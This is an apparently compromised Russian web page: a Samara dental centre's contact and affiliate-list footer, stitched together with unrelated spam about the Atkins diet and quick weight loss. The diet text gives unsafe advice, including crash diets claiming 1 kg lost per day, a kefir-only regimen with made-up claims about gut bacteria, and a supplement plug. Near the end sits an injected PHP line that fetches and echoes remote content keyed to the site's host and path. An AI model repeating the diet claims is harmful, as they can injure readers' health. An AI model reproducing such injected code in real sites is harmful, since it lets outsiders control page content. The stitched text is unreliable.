Классическая низкоуглеводная диета Аткинса появилась более 30 лет назад.Новые рецепты. Аливанка. Национальное блюдо молдавской кухни становится все...

Пресс качай, не кушай калорийное. Но знаю многим нравятся пышечки

С ума сбрендила!! ! "за 2 недели хотя бы на 2-3 кг похудеть. "
копила годами, а за 2 недели желаешь сбросить.. .
увы. . не получится.. .
бег - реально помогает похудеть.. .
бегай в режиме разговора (т. е. бежишь и можешь рпзговаривать) по 7 - 10 км через день-два.. .
ходи в тренажерку, плавай.. .
и результат будет.. .
Успехов!! !

1. что нужно, найти причину избыточного веса, а затем начинать борьбу. фитнесс не панацея. http://my.mail.ru/community/diet55/?ref=cat

Короче! проблема вся в твоем кишечнике. личить его можно вечно таблетками. перейди на питие одного кифира, про хлеб забудь. питие одного кифира, немного нежирного мяса. ничем больше не набивай брюхо. спустя 2 месяца твой кишечник оживет и внутренние бактерии сожрут весь твой жир. сердце человека это его КИШЕЧНИК!!!!

Больше двигайтесь и поменьше ешьте!

А какие интересные диета Аткинса рецепты предлагает? Разрешаются самые разные блюда, но запрещено мучное, фрукты, алкоголь, овощи с большим содержанием крахмала.

Больше физических нагрузок.

Знаю одну диету, очень быстро худеешь, но потом можно так же быстро и набрать вес обратно!! !
Уходит в день по 1 кг. Проверяла на себе, но так как очень люблю пожрать все стало на свои места очень быстро... .
В день можно съедать:
1. гречка (без соли, сахара, масла - чисто гречка) заваренная в термосе (не вареная) . Я заваривала на ночь. Ее можно есть в неограниченных количествах. (правда гадость несусветная, но на второй-третий день привыкаешь) .
2. обезжиренный кефир 0.5л
3. вода - сколько влезет
4. Чай зеленый (без сахара) - не ограниченно
5. яблоки (желательно зеленые)
Начиная со второго дня будет уходить по 1кг в день. Больше недели не сидите, перерыв хотя бы на недельку. Но главное не сорваться и после такой диеты не начать лопать жирное, жареное, мучное и сладости!

Это легко вставай 6 утра и иди на пробежку
потом пробеги 5 кругов по стадиону и возвращайся домой
приготовь себе горячую ванну и полежи в ней
выпей зеленого чая (3 раза вдень нужно пить чай)
и позавтракай только много и калорийного не ешь
займись гимнастикой то тебе предаст эластичности чтобы было легче делать отжимания приседания крутить велосипед и другие способы похудения

Если не помогают ни диеты, ни фитнес, ни какая-то другая двигательная активность, значит организм самостоятельно не может убирать достаточное количество калорий, попробуйте попринимать какие-нибудь средства для увеличения эффективности диеты. Я например XLS медикал принимала, с ним очень хорошо вес уходит.

Бег по утрам всегда помогает

Диета аткинс рецепты
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта